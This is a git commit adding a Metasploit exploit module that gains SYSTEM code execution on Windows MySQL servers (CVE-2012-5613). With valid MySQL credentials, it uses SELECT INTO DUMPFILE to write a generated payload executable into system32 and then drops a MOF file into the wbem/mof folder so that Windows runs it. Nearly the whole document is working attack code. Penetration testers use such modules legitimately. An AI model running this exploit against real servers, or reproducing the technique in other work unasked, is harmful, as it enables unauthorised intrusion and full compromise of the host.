Add Kingcope's MySQL 'Stuxnet' technique exploit

Because why not.  One more trick to a pentest + coverage = better.

Author: sinn3r

modules/exploits/windows/mysql/mysql_mof.rb

@@ -0,0 +1,142 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	include Msf::Exploit::Remote::MYSQL
+	include Msf::Exploit::WbemExec
+	include Msf::Exploit::EXE
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Oracle MySQL for Microsoft Windows MOF Execution',
+			'Description'    => %q{
+					This modules takes advantage of a file privilege misconfiguration problem
+				specifically against Windows MySQL servers (due to the use of a .mof file).
+				This may result in arbitrary code execution under the context of SYSTEM. However,
+				please note in order to use this module, you must have a valid MySQL account on
+				the target machine.
+			},
+			'Author'         =>
+				[
+					'kingcope',
+					'sinn3r'
+				],
+			'License'        => MSF_LICENSE,
+			'References'     =>
+				[
+					['CVE', 'CVE-2012-5613'], #DISPUTED
+					['EDB', '23083'],
+					['URL', 'http://seclists.org/fulldisclosure/2012/Dec/13']
+				],
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'MySQL on Windows', { } ]
+				],
+			'DefaultTarget'  => 0,
+			'DisclosureDate' => 'Dec 01 2012'
+		))
+
+		register_options(
+			[
+				OptString.new('USERNAME', [ true, 'The username to authenticate as']),
+				OptString.new('PASSWORD', [ true, 'The password to authenticate with'])
+			])
+	end
+
+	def check
+		begin
+			m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
+		rescue RbMysql::AccessDeniedError
+			print_error("#{peer} - Access denied.")
+			return Exploit::CheckCode::Safe
+		end
+
+		return Exploit::CheckCode::Appears if is_windows?
+		return Exploit::CheckCode::Safe
+	end
+
+	def peer
+		"#{rhost}:#{rport}"
+	end
+
+	def query(q)
+	 	rows = []
+
+		begin
+			res = mysql_query(q)
+			return rows if not res
+			res.each_hash do |row|
+				rows << row
+			end
+		rescue RbMysql::ParseError
+			return rows
+		end
+
+		return rows
+	end
+
+	def is_windows?
+		r = query("SELECT @@version_compile_os;")
+		return (r[0]['@@version_compile_os'] =~ /^Win/) ? true : false
+	end
+
+	def get_drive_letter
+		r = query("SELECT @@tmpdir;")
+		drive = r[0]['@@tmpdir'].scan(/^(\w):/).flatten[0] || ''
+		return drive
+	end
+
+	def upload_file(bin, dest)
+		p = bin.unpack("H*")[0]
+		query("SELECT 0x#{p} into DUMPFILE '#{dest}'")
+	end
+
+	def exploit
+		print_status("#{peer} - Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
+		begin
+			m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
+			return if not m
+		rescue RbMysql::AccessDeniedError
+			print_error("#{peer} - Access denied.")
+			return
+		end
+
+		if not is_windows?
+			print_error("#{peer} - Remote host isn't Windows.")
+			return
+		end
+
+		drive    = get_drive_letter
+		exe_name = Rex::Text::rand_text_alpha(5) + ".exe"
+		dest     = "#{drive}:/windows/system32/#{exe_name}"
+		exe      = generate_payload_exe
+		print_status("#{peer} - Uploading to '#{dest}'")
+		begin
+			upload_file(exe, dest)
+		rescue RbMysql::AccessDeniedError
+			print_error("#{peer} - No permission to write. I blame kc :-)")
+			return
+		end
+
+		mof_name = Rex::Text::rand_text_alpha(5) + ".mof"
+		dest     = "#{drive}:/windows/system32/wbem/mof/#{mof_name}"
+		mof      = generate_mof(mof_name, exe_name)
+		print_status("#{peer} - Uploading to '#{dest}'")
+		begin
+			upload_file(mof, dest)
+		rescue RbMysql::AccessDeniedError
+			print_error("#{peer} - No permission to write. Bail!")
+			return
+		end
+	end
+
+end